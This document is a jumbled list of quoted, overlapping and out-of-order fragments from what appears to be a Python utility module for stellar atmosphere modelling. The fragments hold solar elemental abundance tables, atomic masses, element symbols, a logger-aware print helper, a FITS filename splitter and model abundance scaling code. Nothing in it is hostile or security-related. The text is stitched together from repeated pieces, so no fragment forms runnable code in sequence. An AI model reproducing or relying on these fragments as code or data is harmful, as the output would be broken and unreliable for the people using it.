"numpy array of floats atomic masses (elements Z=1-99) sol: numpy array of floats",
"] mass = [ 1.00794, 4.00260, 6.941, 9.01218, 10.811, 12.0107, 14.00674, 15.9994, 18.99840,",
"# Python 2 except ImportError: import builtins # Python 3 # Ignore these",
"157.25, 158.92534, 162.50, 164.93032, 167.26, 168.93421, 173.04, 174.967, 178.49, 180.9479, 183.84, 186.207, 190.23,",
"al. (2013) are adopted. Otherwise Asplund et al. (2005) are used -- consistent",
"2.21, 2.59, 1.42, 1.92, -9.99, 1.84, 1.12, 1.69, 0.94, 1.77, 1.60, 2.00, 1.00,",
"1.75, 1.06, 1.65, 1.20, 1.71, 0.76, 2.04, 1.01, 2.18, 1.55, 2.24, 1.08, 2.18,",
"-9.99, -9.99, -9.99 ] sol[0] = 1. for i in range(len(sol)-1): sol[i+1] =",
"import sparse from scipy.interpolate import interp1d from dlnpyutils import utils as dln import",
"112.411, 114.818, 118.710, 121.760, 127.60, 126.90447, 131.29, 132.90545, 137.327, 138.9055, 140.116, 140.90765, 144.24,",
"Check if a global logger is defined elif hasattr(builtins,\"logger\"): return builtins.logger.info # Return",
"Now offset the elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2",
"0.90, 2.00, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.52, -9.99,",
"Divide by N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1) nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:]",
"-6.61, -4.54, -7.05, -5.82, -7.85, -7.48, -9.00, -8.39, -9.74, -8.70, -9.50, -8.79, -9.52,",
"0.92, 0.10, 0.85, -0.12, 0.65, 0.26, 1.40, 1.38, 1.62, 0.80, 1.17, 0.77, 2.04,",
"symbol: numpy array of str element symbols mass: numpy array of floats atomic",
"feh # Now offset the elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H') !=",
"# Split a filename into directory, base and fits extensions def splitfilename(filename): \"\"\"",
"-6.54, -5.64, -7.01, -5.70, -8.89, -7.09, -8.11, -6.40, -6.61, -4.54, -7.05, -5.82, -7.85,",
"-10.42, -11.12, -10.87, -11.14, -10.29, -11.39, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -12.02,",
"husser: bool, optional when set the abundances adopted for Phoenix models by Huser",
"0.23, 1.45, 1.38, 1.64, 1.01, 1.13, 0.90, 2.00, 0.65, -9.99, -9.99, -9.99, -9.99,",
"6.45, 7.51, 5.41, 7.12, 5.50, 6.40, 5.08, 6.34, 3.15, 4.95, 3.93, 5.64, 5.43,",
"-20.00, -20.00, -20.00]) # scale global metallicity abu = solar_abund.copy() abu[2:] += feh",
"Asplund et al. 2009 #chosen for the Husser et al. (2013) Phoenix model",
"-12.16, -11.19, -11.78, -10.64, -10.66, -10.42, -11.12, -10.87, -11.14, -10.29, -11.39, -20.00, -20.00,",
"226., 227., 232.0381, 231.03588, 238.0289, 237., 244., 243., 247., 247., 251., 252. ]",
"151.964, 157.25, 158.92534, 162.50, 164.93032, 167.26, 168.93421, 173.04, 174.967, 178.49, 180.9479, 183.84, 186.207,",
"message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\") cspeed = 2.99792458e5 # speed of",
"and He abu[0:2] = mabu[0:2] return abu def elements(husser=False): \"\"\" Reads the solar",
"106.42, 107.8682, 112.411, 114.818, 118.710, 121.760, 127.60, 126.90447, 131.29, 132.90545, 137.327, 138.9055, 140.116,",
"pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2 =",
"+= feh # Now offset the elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H')",
"Kurucz (Meszaros et al. 2012) Kurucz model atmospheres. Returns ------- symbol: numpy array",
"the buildin print function else: return builtins.print # The atmosnet data directory def",
"last two are Hydrogen and Helium solar_abund = np.array([ 4750., 2.5, -10.99, -10.66,",
"3.58, 2.29, 3.33, 2.56, 3.28, 2.60, 2.92, 2.21, 2.59, 1.42, 1.92, -9.99, 1.84,",
"1.08, 2.18, 1.10, 1.58, 0.72, 1.42, -9.99, 0.96, 0.52, 1.07, 0.30, 1.10, 0.48,",
"except ImportError: import builtins # Python 3 # Ignore these warnings, it's a",
"1.51, 2.27, 1.07, 2.17, 1.13, 1.58, 0.71, 1.45, -9.99, 1.01, 0.52, 1.12, 0.28,",
"-10.62, -20.00, -11.08, -11.52, -10.97, -11.74, -10.94, -11.56, -11.12, -11.94, -11.20, -11.94, -11.19,",
"-9.34, -3.61, -4.21, -3.35, -7.48, -4.11, -5.80, -4.44, -5.59, -4.53, -6.63, -4.92, -6.54,",
"132.90545, 137.327, 138.9055, 140.116, 140.90765, 144.24, 145, 150.36, 151.964, 157.25, 158.92534, 162.50, 164.93032,",
"#inpabund = np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] =",
"al. (2005) are used -- consistent with the MARCS (Gustafsson et al. 2008)",
"Parameters ---------- husser: bool, optional when set the abundances adopted for Phoenix models",
"] sol[0] = 1. else: #a combination of meteoritic/photospheric abundances from Asplund et",
"-11.13, -10.47, -11.10, -10.33, -11.24, -10.00, -11.03, -9.86, -10.49, -9.80, -10.96, -9.86, -10.94,",
"symbols mass: numpy array of floats atomic masses (elements Z=1-99) sol: numpy array",
"speed of light in km/s def getprintfunc(inplogger=None): \"\"\" Allows you to modify print()",
"et al. (2005) are used -- consistent with the MARCS (Gustafsson et al.",
"codedir+'/data/' return datadir # Split a filename into directory, base and fits extensions",
"# Return the buildin print function else: return builtins.print # The atmosnet data",
"'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass",
"7.60, 6.45, 7.51, 5.41, 7.12, 5.50, 6.40, 5.08, 6.34, 3.15, 4.95, 3.93, 5.64,",
"-10.94, -10.46, -11.32, -10.62, -20.00, -11.08, -11.52, -10.97, -11.74, -10.94, -11.56, -11.12, -11.94,",
"-9.99, -9.99, -9.99 ] sol[0] = 1. else: #a combination of meteoritic/photospheric abundances",
"buildin print function else: return builtins.print # The atmosnet data directory def datadir():",
"44.95591, 47.867, 50.9415, 51.9961, 54.93805, 55.845, 58.93320, 58.6934, 63.546, 65.39, 69.723, 72.61, 74.92160,",
"= [ 'H' ,'He','Li','Be','B' ,'C' ,'N' ,'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca',",
"Split filename into directory, base and extensions.\"\"\" fdir = os.path.dirname(filename) base = os.path.basename(filename)",
"from Asplund et al. 2009 #chosen for the Husser et al. (2013) Phoenix",
"140.90765, 144.24, 145, 150.36, 151.964, 157.25, 158.92534, 162.50, 164.93032, 167.26, 168.93421, 173.04, 174.967,",
"Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2]",
"two are Hydrogen and Helium solar_abund = np.array([ 4750., 2.5, -10.99, -10.66, -9.34,",
"6.34, 3.15, 4.95, 3.93, 5.64, 5.43, 7.50, 4.99, 6.22, 4.19, 4.56, 3.04, 3.65,",
"Grevesse and Sauval (2005), basically the same as #<NAME>., <NAME>., <NAME>. 2007, Space",
",'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg',",
"bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\") cspeed = 2.99792458e5 #",
"exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in exten: if base[-len(e):]==e: base = base[0:-len(e)] ext",
"1.17, 0.77, 2.04, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.54,",
"101.07, 102.90550, 106.42, 107.8682, 112.411, 114.818, 118.710, 121.760, 127.60, 126.90447, 131.29, 132.90545, 137.327,",
"107.8682, 112.411, 114.818, 118.710, 121.760, 127.60, 126.90447, 131.29, 132.90545, 137.327, 138.9055, 140.116, 140.90765,",
"masses (elements Z=1-99) sol: numpy array of floats solar abundances N/N(H) \"\"\" symbol",
"consistent with the MARCS (Gustafsson et al. 2008) models and and Kurucz (Meszaros",
"-10.16, -20.00, -10.29, -11.13, -10.47, -11.10, -10.33, -11.24, -10.00, -11.03, -9.86, -10.49, -9.80,",
"1.84, 1.12, 1.69, 0.94, 1.77, 1.60, 2.00, 1.00, 2.19, 1.51, 2.27, 1.07, 2.17,",
"1.45, -9.99, 1.01, 0.52, 1.12, 0.28, 1.14, 0.51, 0.93, 0.00, 1.08, 0.06, 0.88,",
"two are Teff and logg # last two are Hydrogen and Helium solar_abund",
"186.207, 190.23, 192.217, 195.078, 196.96655, 200.59, 204.3833, 207.2, 208.98038, 209., 210., 222., 223.,",
"mabu[0:2] return abu def elements(husser=False): \"\"\" Reads the solar elemental abundances From <NAME>'s",
"-20.00, -12.02, -20.00, -12.58, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00]) # scale",
"162.50, 164.93032, 167.26, 168.93421, 173.04, 174.967, 178.49, 180.9479, 183.84, 186.207, 190.23, 192.217, 195.078,",
"0.26, 1.40, 1.38, 1.62, 0.80, 1.17, 0.77, 2.04, 0.65, -9.99, -9.99, -9.99, -9.99,",
"158.92534, 162.50, 164.93032, 167.26, 168.93421, 173.04, 174.967, 178.49, 180.9479, 183.84, 186.207, 190.23, 192.217,",
"-20.00]) # scale global metallicity abu = solar_abund.copy() abu[2:] += feh # Now",
"al. 2012) Kurucz model atmospheres. Returns ------- symbol: numpy array of str element",
"= os.path.dirname(filename) base = os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in exten: if",
"= 10**abu[2:] # Divide by N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1) nhtot",
",'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb',",
"6.23, 4.21, 4.60, 2.88, 3.58, 2.29, 3.33, 2.56, 3.28, 2.60, 2.92, 2.21, 2.59,",
"-4.21, -3.35, -7.48, -4.11, -5.80, -4.44, -5.59, -4.53, -6.63, -4.92, -6.54, -5.64, -7.01,",
"abundances adopted for Phoenix models by Huser et al. (2013) are adopted. Otherwise",
"a filename into directory, base and fits extensions def splitfilename(filename): \"\"\" Split filename",
"= inpabund[25] #read model atmosphere atmostype, teff, logg, vmicro2, mabu, nd, atmos =",
"190.23, 192.217, 195.078, 196.96655, 200.59, 204.3833, 207.2, 208.98038, 209., 210., 222., 223., 226.,",
"import matplotlib.pyplot as plt try: import __builtin__ as builtins # Python 2 except",
"if base[-len(e):]==e: base = base[0:-len(e)] ext = e break return (fdir,base,ext) def model_abund(pars):",
"Z=1-99) sol: numpy array of floats solar abundances N/N(H) \"\"\" symbol = [",
"-20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00]) # scale global metallicity abu =",
"# Python 3 # Ignore these warnings, it's a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size",
"offset the elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2 =",
"with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] +=",
"244., 243., 247., 247., 251., 252. ] if not husser: #Asplund, Grevesse and",
"-8.79, -9.52, -9.17, -9.83, -9.46, -10.58, -10.16, -20.00, -10.29, -11.13, -10.47, -11.10, -10.33,",
"Kurucz model atmospheres. Returns ------- symbol: numpy array of str element symbols mass:",
"-9.00, -8.39, -9.74, -8.70, -9.50, -8.79, -9.52, -9.17, -9.83, -9.46, -10.58, -10.16, -20.00,",
"<<EMAIL>>' __version__ = '20210605' # yyyymmdd import os import numpy as np import",
"0.00, 1.08, 0.06, 0.88, -0.17, 1.11, 0.23, 1.45, 1.38, 1.64, 1.01, 1.13, 0.90,",
"207.2, 208.98038, 209., 210., 222., 223., 226., 227., 232.0381, 231.03588, 238.0289, 237., 244.,",
"28.0855, 30.97376, 32.066, 35.4527, 39.948, 39.0983, 40.078, 44.95591, 47.867, 50.9415, 51.9961, 54.93805, 55.845,",
"(elements Z=1-99) sol: numpy array of floats solar abundances N/N(H) \"\"\" symbol =",
"-20.00, -20.00, -20.00, -20.00, -20.00, -20.00]) # scale global metallicity abu = solar_abund.copy()",
"\"\"\"UTILS.PY - Utility functions \"\"\" from __future__ import print_function __authors__ = '<NAME> <<EMAIL>>'",
"8.66, 4.56, 7.84, 6.17, 7.53, 6.37, 7.51, 5.36, 7.14, 5.50, 6.18, 5.08, 6.31,",
"for H and He abu[0:2] = mabu[0:2] return abu def elements(husser=False): \"\"\" Reads",
"metallicity abu = solar_abund.copy() abu[2:] += feh # Now offset the elements with",
"-9.99, -9.99, -9.99, 0.06, -9.99, -0.54, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99",
"Python 3 # Ignore these warnings, it's a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\")",
"MARCS (Gustafsson et al. 2008) models and and Kurucz (Meszaros et al. 2012)",
"[ 'H' ,'He','Li','Be','B' ,'C' ,'N' ,'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V'",
"4.60, 2.88, 3.58, 2.29, 3.33, 2.56, 3.28, 2.60, 2.92, 2.21, 2.59, 1.42, 1.92,",
"26.98154, 28.0855, 30.97376, 32.066, 35.4527, 39.948, 39.0983, 40.078, 44.95591, 47.867, 50.9415, 51.9961, 54.93805,",
"178.49, 180.9479, 183.84, 186.207, 190.23, 192.217, 195.078, 196.96655, 200.59, 204.3833, 207.2, 208.98038, 209.,",
"model atmospheres sol = [ 12.00, 10.93, 3.26, 1.38, 2.79, 8.43, 7.83, 8.69,",
"-4.54, -7.05, -5.82, -7.85, -7.48, -9.00, -8.39, -9.74, -8.70, -9.50, -8.79, -9.52, -9.17,",
"adopted. Otherwise Asplund et al. (2005) are used -- consistent with the MARCS",
"= np.array([ 4750., 2.5, -10.99, -10.66, -9.34, -3.61, -4.21, -3.35, -7.48, -4.11, -5.80,",
"as #<NAME>., <NAME>., <NAME>. 2007, Space Science Review 130, 205 sol = [",
"os import numpy as np import warnings from scipy import sparse from scipy.interpolate",
"os.path.dirname(filename) base = os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in exten: if base[-len(e):]==e:",
"-0.54, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. for",
"= dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh = inpabund[25] #read model atmosphere atmostype, teff,",
"inplogger.info # Check if a global logger is defined elif hasattr(builtins,\"logger\"): return builtins.logger.info",
"Husser et al. (2013) Phoenix model atmospheres sol = [ 12.00, 10.93, 3.26,",
"6.18, 5.08, 6.31, 3.05, 4.90, 4.00, 5.64, 5.39, 7.45, 4.92, 6.23, 4.21, 4.60,",
"solar elemental abundances From <NAME>'s synple package. Parameters ---------- husser: bool, optional when",
"0.52, 1.12, 0.28, 1.14, 0.51, 0.93, 0.00, 1.08, 0.06, 0.88, -0.17, 1.11, 0.23,",
"1.55, 2.24, 1.08, 2.18, 1.10, 1.58, 0.72, 1.42, -9.99, 0.96, 0.52, 1.07, 0.30,",
"are used -- consistent with the MARCS (Gustafsson et al. 2008) models and",
"et al. 2012) Kurucz model atmospheres. Returns ------- symbol: numpy array of str",
"same as #<NAME>., <NAME>., <NAME>. 2007, Space Science Review 130, 205 sol =",
"2.00, 1.00, 2.19, 1.51, 2.27, 1.07, 2.17, 1.13, 1.58, 0.71, 1.45, -9.99, 1.01,",
"np import warnings from scipy import sparse from scipy.interpolate import interp1d from dlnpyutils",
"7.50, 4.99, 6.22, 4.19, 4.56, 3.04, 3.65, 2.30, 3.34, 2.54, 3.25, 2.36, 2.87,",
"solar_abund.copy() abu[2:] += feh # Now offset the elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g,",
"N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1) nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot",
"# first two are Teff and logg # last two are Hydrogen and",
"2008) models and and Kurucz (Meszaros et al. 2012) Kurucz model atmospheres. Returns",
"filename into directory, base and fits extensions def splitfilename(filename): \"\"\" Split filename into",
"directory, base and extensions.\"\"\" fdir = os.path.dirname(filename) base = os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz']",
"-20.00, -20.00, -20.00, -20.00, -20.00]) # scale global metallicity abu = solar_abund.copy() abu[2:]",
"interp1d from dlnpyutils import utils as dln import matplotlib.pyplot as plt try: import",
"convert to linear abu[2:] = 10**abu[2:] # Divide by N(H) g, = np.where(np.char.array(mlines).find('ABUNDANCE",
"Utility functions \"\"\" from __future__ import print_function __authors__ = '<NAME> <<EMAIL>>' __version__ =",
"0.85, -0.12, 0.65, 0.26, 1.40, 1.38, 1.62, 0.80, 1.17, 0.77, 2.04, 0.65, -9.99,",
"3.33, 2.56, 3.28, 2.60, 2.92, 2.21, 2.59, 1.42, 1.92, -9.99, 1.84, 1.12, 1.69,",
"= np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]]",
"size changed\") cspeed = 2.99792458e5 # speed of light in km/s def getprintfunc(inplogger=None):",
"= dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) - feh # convert to linear abu[2:] =",
"243., 247., 247., 251., 252. ] if not husser: #Asplund, Grevesse and Sauval",
"4.21, 4.60, 2.88, 3.58, 2.29, 3.33, 2.56, 3.28, 2.60, 2.92, 2.21, 2.59, 1.42,",
"logg # last two are Hydrogen and Helium solar_abund = np.array([ 4750., 2.5,",
"'20210605' # yyyymmdd import os import numpy as np import warnings from scipy",
"2.30, 3.34, 2.54, 3.25, 2.36, 2.87, 2.21, 2.58, 1.46, 1.88, -9.99, 1.75, 1.06,",
"extensions.\"\"\" fdir = os.path.dirname(filename) base = os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in",
"solar abundances # first two are Teff and logg # last two are",
"#chosen for the Husser et al. (2013) Phoenix model atmospheres sol = [",
"1.00, 2.19, 1.51, 2.27, 1.07, 2.17, 1.13, 1.58, 0.71, 1.45, -9.99, 1.01, 0.52,",
"1.10, 0.48, 0.92, 0.10, 0.92, 0.10, 0.85, -0.12, 0.65, 0.26, 1.40, 1.38, 1.62,",
"-4.92, -6.54, -5.64, -7.01, -5.70, -8.89, -7.09, -8.11, -6.40, -6.61, -4.54, -7.05, -5.82,",
"synple package. Parameters ---------- husser: bool, optional when set the abundances adopted for",
"6.40, 5.08, 6.34, 3.15, 4.95, 3.93, 5.64, 5.43, 7.50, 4.99, 6.22, 4.19, 4.56,",
"-11.24, -10.00, -11.03, -9.86, -10.49, -9.80, -10.96, -9.86, -10.94, -10.46, -11.32, -10.62, -20.00,",
"for Phoenix models by Huser et al. (2013) are adopted. Otherwise Asplund et",
"8.39, 7.78, 8.66, 4.56, 7.84, 6.17, 7.53, 6.37, 7.51, 5.36, 7.14, 5.50, 6.18,",
"(fdir,base,ext) def model_abund(pars): \"\"\" Model atmosphere abundances. \"\"\" # Create the input 99-element",
"208.98038, 209., 210., 222., 223., 226., 227., 232.0381, 231.03588, 238.0289, 237., 244., 243.,",
"0.88, -0.17, 1.11, 0.23, 1.45, 1.38, 1.64, 1.01, 1.13, 0.90, 2.00, 0.65, -9.99,",
"logger if inplogger is not None: return inplogger.info # Check if a global",
"hasattr(builtins,\"logger\"): return builtins.logger.info # Return the buildin print function else: return builtins.print #",
"1.46, 1.88, -9.99, 1.75, 1.06, 1.65, 1.20, 1.71, 0.76, 2.04, 1.01, 2.18, 1.55,",
"- Utility functions \"\"\" from __future__ import print_function __authors__ = '<NAME> <<EMAIL>>' __version__",
"1.58, 0.71, 1.45, -9.99, 1.01, 0.52, 1.12, 0.28, 1.14, 0.51, 0.93, 0.00, 1.08,",
"\"\"\" from __future__ import print_function __authors__ = '<NAME> <<EMAIL>>' __version__ = '20210605' #",
"models and and Kurucz (Meszaros et al. 2012) Kurucz model atmospheres. Returns -------",
"200.59, 204.3833, 207.2, 208.98038, 209., 210., 222., 223., 226., 227., 232.0381, 231.03588, 238.0289,",
"137.327, 138.9055, 140.116, 140.90765, 144.24, 145, 150.36, 151.964, 157.25, 158.92534, 162.50, 164.93032, 167.26,",
"-9.99, 1.01, 0.52, 1.12, 0.28, 1.14, 0.51, 0.93, 0.00, 1.08, 0.06, 0.88, -0.17,",
"-9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. else: #a",
"into directory, base and extensions.\"\"\" fdir = os.path.dirname(filename) base = os.path.basename(filename) exten =",
"204.3833, 207.2, 208.98038, 209., 210., 222., 223., 226., 227., 232.0381, 231.03588, 238.0289, 237.,",
"import os import numpy as np import warnings from scipy import sparse from",
"directory.\"\"\" fil = os.path.abspath(__file__) codedir = os.path.dirname(fil) datadir = codedir+'/data/' return datadir #",
"5.41, 7.12, 5.50, 6.40, 5.08, 6.34, 3.15, 4.95, 3.93, 5.64, 5.43, 7.50, 4.99,",
"-3.35, -7.48, -4.11, -5.80, -4.44, -5.59, -4.53, -6.63, -4.92, -6.54, -5.64, -7.01, -5.70,",
"Asplund et al. (2005) are used -- consistent with the MARCS (Gustafsson et",
"try: import __builtin__ as builtins # Python 2 except ImportError: import builtins #",
"-20.00, -20.00, -12.02, -20.00, -12.58, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00]) #",
"modify print() locally with a logger.\"\"\" # Input logger if inplogger is not",
"-9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.52, -9.99, -9.99, -9.99, -9.99, -9.99,",
"#inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh = inpabund[25] #read model atmosphere atmostype, teff, logg, vmicro2,",
"-9.46, -10.58, -10.16, -20.00, -10.29, -11.13, -10.47, -11.10, -10.33, -11.24, -10.00, -11.03, -9.86,",
"8.69, 4.56, 7.93, 6.24, 7.60, 6.45, 7.51, 5.41, 7.12, 5.50, 6.40, 5.08, 6.34,",
"0.28, 1.14, 0.51, 0.93, 0.00, 1.08, 0.06, 0.88, -0.17, 1.11, 0.23, 1.45, 1.38,",
"0.76, 2.04, 1.01, 2.18, 1.55, 2.24, 1.08, 2.18, 1.10, 1.58, 0.72, 1.42, -9.99,",
"---------- husser: bool, optional when set the abundances adopted for Phoenix models by",
"-11.19, -11.78, -10.64, -10.66, -10.42, -11.12, -10.87, -11.14, -10.29, -11.39, -20.00, -20.00, -20.00,",
"is not None: return inplogger.info # Check if a global logger is defined",
"<NAME>'s synple package. Parameters ---------- husser: bool, optional when set the abundances adopted",
"= os.path.dirname(fil) datadir = codedir+'/data/' return datadir # Split a filename into directory,",
"2009 #chosen for the Husser et al. (2013) Phoenix model atmospheres sol =",
"0.06, -9.99, -0.54, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] =",
"= '20210605' # yyyymmdd import os import numpy as np import warnings from",
"import __builtin__ as builtins # Python 2 except ImportError: import builtins # Python",
"atmos = synple.read_model(modelfile) mlines = dln.readlines(modelfile) # solar abundances # first two are",
"18.99840, 20.1797, 22.98977, 24.3050, 26.98154, 28.0855, 30.97376, 32.066, 35.4527, 39.948, 39.0983, 40.078, 44.95591,",
"0.77, 2.04, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.54, -9.99,",
"warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\") cspeed = 2.99792458e5 # speed of light in km/s",
"-9.99, -0.52, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1.",
"3 # Ignore these warnings, it's a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\",",
"mlines = dln.readlines(modelfile) # solar abundances # first two are Teff and logg",
"base[0:-len(e)] ext = e break return (fdir,base,ext) def model_abund(pars): \"\"\" Model atmosphere abundances.",
"-9.99, 1.75, 1.06, 1.65, 1.20, 1.71, 0.76, 2.04, 1.01, 2.18, 1.55, 2.24, 1.08,",
"24.3050, 26.98154, 28.0855, 30.97376, 32.066, 35.4527, 39.948, 39.0983, 40.078, 44.95591, 47.867, 50.9415, 51.9961,",
"(2013) Phoenix model atmospheres sol = [ 12.00, 10.93, 3.26, 1.38, 2.79, 8.43,",
"fits extensions def splitfilename(filename): \"\"\" Split filename into directory, base and extensions.\"\"\" fdir",
"------- symbol: numpy array of str element symbols mass: numpy array of floats",
"From <NAME>'s synple package. Parameters ---------- husser: bool, optional when set the abundances",
"= os.path.abspath(__file__) codedir = os.path.dirname(fil) datadir = codedir+'/data/' return datadir # Split a",
"7.12, 5.50, 6.40, 5.08, 6.34, 3.15, 4.95, 3.93, 5.64, 5.43, 7.50, 4.99, 6.22,",
"5.64, 5.43, 7.50, 4.99, 6.22, 4.19, 4.56, 3.04, 3.65, 2.30, 3.34, 2.54, 3.25,",
"-9.99, -9.99 ] sol[0] = 1. for i in range(len(sol)-1): sol[i+1] = 10.**(sol[i+1]-12.0)",
"meteoritic/photospheric abundances from Asplund et al. 2009 #chosen for the Husser et al.",
"209., 210., 222., 223., 226., 227., 232.0381, 231.03588, 238.0289, 237., 244., 243., 247.,",
"not None: return inplogger.info # Check if a global logger is defined elif",
"e break return (fdir,base,ext) def model_abund(pars): \"\"\" Model atmosphere abundances. \"\"\" # Create",
"2.36, 2.87, 2.21, 2.58, 1.46, 1.88, -9.99, 1.75, 1.06, 1.65, 1.20, 1.71, 0.76,",
"2.00, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.52, -9.99, -9.99,",
"1.07, 0.30, 1.10, 0.48, 0.92, 0.10, 0.92, 0.10, 0.85, -0.12, 0.65, 0.26, 1.40,",
"1.06, 1.65, 1.20, 1.71, 0.76, 2.04, 1.01, 2.18, 1.55, 2.24, 1.08, 2.18, 1.10,",
"= [ 1.00794, 4.00260, 6.941, 9.01218, 10.811, 12.0107, 14.00674, 15.9994, 18.99840, 20.1797, 22.98977,",
"118.710, 121.760, 127.60, 126.90447, 131.29, 132.90545, 137.327, 138.9055, 140.116, 140.90765, 144.24, 145, 150.36,",
"np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1) nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot # use model",
"85.4678, 87.62, 88.90585, 91.224, 92.90638, 95.94, 98., 101.07, 102.90550, 106.42, 107.8682, 112.411, 114.818,",
"2.79, 8.43, 7.83, 8.69, 4.56, 7.93, 6.24, 7.60, 6.45, 7.51, 5.41, 7.12, 5.50,",
"-10.46, -11.32, -10.62, -20.00, -11.08, -11.52, -10.97, -11.74, -10.94, -11.56, -11.12, -11.94, -11.20,",
"# use model values for H and He abu[0:2] = mabu[0:2] return abu",
"Returns ------- symbol: numpy array of str element symbols mass: numpy array of",
"#read model atmosphere atmostype, teff, logg, vmicro2, mabu, nd, atmos = synple.read_model(modelfile) mlines",
